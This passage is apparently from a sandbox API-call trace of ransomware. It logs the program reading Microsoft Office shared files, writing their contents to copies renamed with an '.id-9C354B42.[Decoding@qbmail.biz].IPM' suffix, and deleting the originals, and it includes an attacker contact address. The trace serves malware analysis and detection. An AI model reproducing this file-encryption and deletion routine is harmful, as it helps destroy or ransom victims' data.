(lpString1=".xlsx", lpString2="W.XML") returned -1 [0085.326] lstrlenW (lpString=".ppt") returned 4 [0085.326] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.326] lstrlenW (lpString=".zip") returned 4 [0085.326] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.326] lstrlenW (lpString=".rar") returned 4 [0085.326] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.327] lstrlenW (lpString=".bz2") returned 4 [0085.327] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.327] lstrlenW (lpString=".7z") returned 3 [0085.327] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.327] lstrlenW (lpString=".dbf") returned 4 [0085.327] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.327] lstrlenW (lpString=".1cd") returned 4 [0085.327] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0085.327] lstrlenW (lpString=".jpg") returned 4 [0085.327] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.328] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.328] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0085.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0085.328] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1452) returned 1 [0085.328] CloseHandle (hObject=0x1d8) returned 1 [0085.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0085.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0085.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0085.329] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0085.329] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0085.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0086.675] GetLastError () returned 0x0 [0086.675] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x5ac, lpOverlapped=0x0) returned 1 [0086.761] WriteFile (in: hFile=0x1ec, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0086.762] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0086.762] WriteFile (in: hFile=0x1ec, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xf0, lpOverlapped=0x0) returned 1 [0086.763] SetEndOfFile (hFile=0x1ec) returned 1 [0086.763] CloseHandle (hObject=0x1ec) returned 1 [0086.765] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0086.765] SetEndOfFile (hFile=0x1d8) returned 1 [0086.766] CloseHandle (hObject=0x1d8) returned 1 [0086.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.767] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0086.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.767] lstrlenW (lpString=".doc") returned 4 [0086.767] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.767] lstrlenW (lpString=".docx") returned 5 [0086.767] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0086.767] lstrlenW (lpString=".pdf") returned 4 [0086.767] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.767] lstrlenW (lpString=".xls") returned 4 [0086.768] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.768] lstrlenW (lpString=".xlsx") returned 5 [0086.768] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0086.768] lstrlenW (lpString=".ppt") returned 4 [0086.768] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.768] lstrlenW (lpString=".zip") returned 4 [0086.768] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.768] lstrlenW (lpString=".rar") returned 4 [0086.768] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.768] lstrlenW (lpString=".bz2") returned 4 [0086.768] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.768] lstrlenW (lpString=".7z") returned 3 [0086.768] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.768] lstrlenW (lpString=".dbf") returned 4 [0086.768] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.769] lstrlenW (lpString=".1cd") returned 4 [0086.769] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.769] lstrlenW (lpString=".jpg") returned 4 [0086.769] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.769] lstrlenW (lpString=".doc") returned 4 [0086.769] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.769] lstrlenW (lpString=".docx") returned 5 [0086.769] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0086.769] lstrlenW (lpString=".pdf") returned 4 [0086.769] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.769] lstrlenW (lpString=".xls") returned 4 [0086.769] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.769] lstrlenW (lpString=".xlsx") returned 5 [0086.769] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0086.770] lstrlenW (lpString=".ppt") returned 4 [0086.770] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.770] lstrlenW (lpString=".zip") returned 4 [0086.770] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.770] lstrlenW (lpString=".rar") returned 4 [0086.770] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.770] lstrlenW (lpString=".bz2") returned 4 [0086.770] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.770] lstrlenW (lpString=".7z") returned 3 [0086.770] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.770] lstrlenW (lpString=".dbf") returned 4 [0086.770] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.770] lstrlenW (lpString=".1cd") returned 4 [0086.770] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0086.770] lstrlenW (lpString=".jpg") returned 4 [0086.770] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.770] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.771] lstrlenW (lpString="VisiorWW.XML") returned 12 [0086.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0087.023] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=8723) returned 1 [0087.023] CloseHandle (hObject=0x1bc) returned 1 [0087.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0087.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0087.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0087.024] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0087.024] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0087.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0088.537] GetLastError () returned 0x0 [0088.537] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x2213, lpOverlapped=0x0) returned 1 [0088.740] WriteFile (in: hFile=0x1c8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x2220, lpOverlapped=0x0) returned 1 [0089.437] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0089.437] WriteFile (in: hFile=0x1c8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xec, lpOverlapped=0x0) returned 1 [0089.437] SetEndOfFile (hFile=0x1c8) returned 1 [0089.437] CloseHandle (hObject=0x1c8) returned 1 [0089.873] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0089.873] SetEndOfFile (hFile=0x1bc) returned 1 [0089.978] CloseHandle (hObject=0x1bc) returned 1 [0089.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0089.979] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0089.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.979] lstrlenW (lpString=".doc") returned 4 [0089.980] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.980] lstrlenW (lpString=".docx") returned 5 [0089.980] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0089.980] lstrlenW (lpString=".pdf") returned 4 [0089.980] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.980] lstrlenW (lpString=".xls") returned 4 [0089.980] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.980] lstrlenW (lpString=".xlsx") returned 5 [0089.981] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0089.981] lstrlenW (lpString=".ppt") returned 4 [0089.981] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.981] lstrlenW (lpString=".zip") returned 4 [0089.981] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.981] lstrlenW (lpString=".rar") returned 4 [0089.981] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.981] lstrlenW (lpString=".bz2") returned 4 [0089.981] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.981] lstrlenW (lpString=".7z") returned 3 [0089.981] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.982] lstrlenW (lpString=".dbf") returned 4 [0089.982] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.982] lstrlenW (lpString=".1cd") returned 4 [0089.982] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.982] lstrlenW (lpString=".jpg") returned 4 [0089.982] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.982] lstrlenW (lpString=".doc") returned 4 [0089.982] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.982] lstrlenW (lpString=".docx") returned 5 [0089.982] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0089.982] lstrlenW (lpString=".pdf") returned 4 [0089.982] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.982] lstrlenW (lpString=".xls") returned 4 [0089.982] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.982] lstrlenW (lpString=".xlsx") returned 5 [0089.983] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0089.983] lstrlenW (lpString=".ppt") returned 4 [0089.983] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.983] lstrlenW (lpString=".zip") returned 4 [0089.983] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.983] lstrlenW (lpString=".rar") returned 4 [0089.983] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.983] lstrlenW (lpString=".bz2") returned 4 [0089.983] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.983] lstrlenW (lpString=".7z") returned 3 [0089.983] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.983] lstrlenW (lpString=".dbf") returned 4 [0089.983] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.983] lstrlenW (lpString=".1cd") returned 4 [0089.983] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0089.983] lstrlenW (lpString=".jpg") returned 4 [0089.984] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.984] lstrcmpiW (lpString1=".XSL", lpString2=".IPM") returned 1 [0089.984] lstrlenW (lpString="BASMLA.XSL") returned 10 [0089.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0089.985] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=227311) returned 1 [0089.985] CloseHandle (hObject=0x1bc) returned 1 [0089.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0089.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0089.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0089.985] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0089.986] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0089.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0089.986] GetLastError () returned 0x0 [0089.986] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x377ef, lpOverlapped=0x0) returned 1 [0090.254] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0090.280] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0090.280] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe8, lpOverlapped=0x0) returned 1 [0090.281] SetEndOfFile (hFile=0x1e8) returned 1 [0090.295] CloseHandle (hObject=0x1e8) returned 1 [0090.300] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0090.301] SetEndOfFile (hFile=0x1bc) returned 1 [0090.304] CloseHandle (hObject=0x1bc) returned 1 [0090.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0090.304] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0090.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.305] lstrlenW (lpString=".doc") returned 4 [0090.305] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0090.305] lstrlenW (lpString=".docx") returned 5 [0090.305] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0090.305] lstrlenW (lpString=".pdf") returned 4 [0090.305] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0090.305] lstrlenW (lpString=".xls") returned 4 [0090.305] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0090.305] lstrlenW (lpString=".xlsx") returned 5 [0090.305] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0090.305] lstrlenW (lpString=".ppt") returned 4 [0090.305] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0090.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.305] lstrlenW (lpString=".zip") returned 4 [0090.305] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0090.305] lstrlenW (lpString=".rar") returned 4 [0090.305] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0090.306] lstrlenW (lpString=".bz2") returned 4 [0090.306] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0090.306] lstrlenW (lpString=".7z") returned 3 [0090.306] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0090.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.306] lstrlenW (lpString=".dbf") returned 4 [0090.306] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0090.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.306] lstrlenW (lpString=".1cd") returned 4 [0090.306] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0090.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.306] lstrlenW (lpString=".jpg") returned 4 [0090.306] 